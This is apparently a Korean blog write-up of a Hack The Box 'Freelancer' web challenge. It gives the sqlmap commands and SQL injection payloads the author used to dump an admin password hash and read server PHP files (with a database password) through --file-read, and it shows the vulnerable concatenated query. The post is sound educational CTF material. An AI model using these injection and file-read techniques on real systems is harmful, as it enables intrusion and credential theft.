티스토리 뷰

728x90
반응형

문제 첫 페이지

접속하면 위와 같은 페이지가 나옵니다.

소스코드를 보아하니 아래와 같이 주석처리된 php 경로가 보입니다.

<!-- <a href="portfolio.php?id=2">Portfolio 2</a> -->

접속해보니 아래와 같은 페이지가 나왔습니다.

 

 

보아하니 id 파라미터에 sql injection 이 가능한 것 같았습니다.

http://188.166.173.208:32173/portfolio.php?id=1||1

 

바로 sqlmap 을 돌려보았습니다.

>python sqlmap.py -u http://188.166.173.208:32173/portfolio.php?id=1

결과를 보아하니 데이터베이스로부터 내용물을 추출할 수 있을 것 같았습니다.

 

[06:18:43] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7575=7575

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2722 FROM (SELECT(SLEEP(5)))ksWb)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b706271,0x64416379524f564a7a465374725a45794666485748795461767975484e6c4961614a6b716f41594f,0x717a786a71),NULL-- -
---
[06:18:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

 

freelancer 데이터베이스에는 다음과 같은 테이블이 있었습니다.

>python sqlmap.py -u http://188.166.173.208:32173/portfolio.php?id=1 --tables
Database: freelancer
[2 tables]
+----------------------------------------------------+
| portfolio                                          |
| safeadmin                                          |
+----------------------------------------------------+

 

그리고 safeadmin 테이블을 조회했을 때는 다음과 같았습니다.

>python sqlmap.py -u http://188.166.173.208:32173/portfolio.php?id=1 -T safeadmin --dump
Database: freelancer
Table: safeadmin
[1 entry]
+----+--------------------------------------------------------------+----------+---------------------+
| id | password                                                     | username | created_at          |
+----+--------------------------------------------------------------+----------+---------------------+
| 1  | $2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K | safeadm  | 2019-07-16 20:25:45 |
+----+--------------------------------------------------------------+----------+---------------------+

 

음 password bruteforce를 돌려보았으나 별다른 성과가 없었습니다.

그래서 일단 sql injection 이 가능하기 때문에 loadfile 또한 시도해보고자 아래와 같은 명령어를 수행하였습니다.

>python sqlmap.py -u http://188.166.173.208:32173/portfolio.php?id=1 --file-read=/var/www/html/portfolio.php

 

처음엔 index.php 도 살펴보았지만 별다른 소득이 없었고, portfolio.php 의 경우에는 sqli injection 이 되는 곳이기 때문에 php 코드가 있을 거라고 생각해서 힌트가 있을 거라고 생각했습니다.

<?php
// Include config file
require_once "administrat/include/config.php";
?>
  <link rel="icon" href="favicon.ico" type="image/x-icon">
  <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
  <!-- Portfolio Modals -->

  <!-- Portfolio Modal 1 -->
 
    <div class="modal-dialog modal-xl" role="document">
      <div class="modal-content">
 
        <div class="modal-body text-center">
          <div class="container">
            <div class="row justify-content-center">
              <div class="col-lg-8">
                <!-- Portfolio Modal - Title -->
                <!-- Icon Divider -->
                <div class="divider-custom">
 
                <!-- Portfolio Modal - Image -->
                <img class="img-fluid rounded mb-5" src="img/portfolio/cabin.png" width="300" height="300">
                <!-- Portfolio Modal - Text -->
                <p class="mb-5"><?php
 
$id = isset($_GET['id']) ? $_GET['id'] : '';
 
$query = "SELECT * FROM portfolio WHERE id = $id";
if ($result = mysqli_query($link, $query)) {

    /* fetch associative array */
    while ($row = mysqli_fetch_row($result)) {
        printf ("%s - %s\n", $row[1], $row[2]);
    }

    /* free result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?></p>
 
 
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>

그리고 새로운 파일인 require_once "administrat/include/config.php"; 를 확인할 수 있었습니다.

해당 파일을 열어보면 아래와 같이 mysql 아이디와 패스워드를 알 수 있습니다.

<?php
$link = new mysqli("localhost", "db_user", "Str0ngP4ss", "freelancer");
 
// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>

그러다가 잠깐 막혔다가 img 경로에 접속했을 때 Directory Listing 이 되던 걸 생각해냈습니다.

http://188.166.173.208:32173/img/

 

 

그래서 위에서 얻은 config.php 상위 경로도 Directory Listing이 될 것이라고 생각하여 상위 경로로 이동해보았습니다.

그러다가 아래와 같은 URL과 페이지를 알 수 있었습니다.

http://188.166.173.208:32173/administrat/index.php

아이디와 패스워드는 mysql 건 안됐었고, 느낌이 admin 의 패스워드가 필요하다 싶었는데, 우선 password crack 에 실패한 상태여서 먼저 해당 로그인 페이지의 php 소스코드를 확인해보고자 하였습니다.

<?php
// Initialize the session
session_start();
 
// Check if the user is already logged in, if yes then redirect him to welcome page
if(isset($_SESSION["loggedin"]) && $_SESSION["loggedin"] === true){
  header("location: panel.php");
  exit;
}
 
// Include config file
require_once "include/config.php";
 
// Define variables and initialize with empty values
$username = $password = "";
$username_err = $password_err = "";
 
// Processing form data when form is submitted
if($_SERVER["REQUEST_METHOD"] == "POST"){
 
    // Check if username is empty
    if(empty(trim($_POST["username"]))){
        $username_err = "Please enter username.";
    } else{
        $username = trim($_POST["username"]);
    }
    
    // Check if password is empty
    if(empty(trim($_POST["password"]))){
        $password_err = "Please enter your password.";
    } else{
        $password = trim($_POST["password"]);
    }
    
    // Validate credentials
    if(empty($username_err) && empty($password_err)){
        // Prepare a select statement
        $sql = "SELECT id, username, password FROM safeadmin WHERE username = ?";
        
        if($stmt = mysqli_prepare($link, $sql)){
            // Bind variables to the prepared statement as parameters
            mysqli_stmt_bind_param($stmt, "s", $param_username);
            
            // Set parameters
            $param_username = $username;
            
            // Attempt to execute the prepared statement
            if(mysqli_stmt_execute($stmt)){
                // Store result
                mysqli_stmt_store_result($stmt);
                
                // Check if username exists, if yes then verify password
                if(mysqli_stmt_num_rows($stmt) == 1){                    
                    // Bind result variables
                    mysqli_stmt_bind_result($stmt, $id, $username, $hashed_password);
                    if(mysqli_stmt_fetch($stmt)){
                        if(password_verify($password, $hashed_password)){
                            // Password is correct, so start a new session
                            session_start();
                            
                            // Store data in session variables
                            $_SESSION["loggedin"] = true;
                            $_SESSION["id"] = $id;
                            $_SESSION["username"] = $username;                            
                            
                            // Redirect user to welcome page
                            header("location: panel.php");
                        } else{
                            // Display an error message if password is not valid
                            $password_err = "The password you entered was not valid.";
                        }
                    }
                } else{
                    // Display an error message if username doesn't exist
                    $username_err = "No account found with that username.";
                }
            } else{
                echo "Oops! Something went wrong. Please try again later.";
            }
        }
        
        // Close statement
        mysqli_stmt_close($stmt);
    }
    
    // Close connection
    mysqli_close($link);
}
?>
 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Freelancer Login</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css">
  <link rel="icon" href="../favicon.ico" type="image/x-icon">
    <style type="text/css">
        body{ font: 14px sans-serif; }
        .wrapper{ width: 350px; padding: 20px; }
    </style>
</head>
<body>
    <div class="wrapper">
        <h2>Login</h2>
        <p>Please fill in your credentials to login.</p>
        <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">
            <div class="form-group <?php echo (!empty($username_err)) ? 'has-error' : ''; ?>">
                <label>Username</label>
                <input type="text" name="username" class="form-control" value="<?php echo $username; ?>">
                <span class="help-block"><?php echo $username_err; ?></span>
            </div>    
            <div class="form-group <?php echo (!empty($password_err)) ? 'has-error' : ''; ?>">
                <label>Password</label>
                <input type="password" name="password" class="form-control">
                <span class="help-block"><?php echo $password_err; ?></span>
            </div>
            <div class="form-group">
                <input type="submit" class="btn btn-primary" value="Login">
            </div>
        </form>
    </div>    
</body>
</html>

그리고 새로운 경로인 panel.php 경로를 알게 되었습니다. 이 경로는 바로 접속할 경우 로그인 페이지로 이동되는 것으로 보아 로그인 하면 접속가능한 곳 같았습니다. 그래서 sql injection 의 loadfile 로 추출해보았습니다.

<?php
// Initialize the session
session_start();
 
// Check if the user is logged in, if not then redirect him to login page
if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){
    header("location: index.php");
    exit;
}
?>
 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Welcome</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css">
  <link rel="icon" href="../favicon.ico" type="image/x-icon">
    <style type="text/css">
        body{ font: 14px sans-serif; text-align: center; }
    </style>
</head>
<body>
    <div class="page-header">
        <h1>Hi, <b><?php echo htmlspecialchars($_SESSION["username"]); ?></b>. Welcome to our site.</h1><b><a href="logout.php">Logout</a></b>
<br><br><br>
        <h1>HTB{플래그는 가려졌습니다.}</h1>
    </div>
</body>
</html>

결국 Flag는 panel.php 파일의 내용에 있었습니다.

728x90
반응형
댓글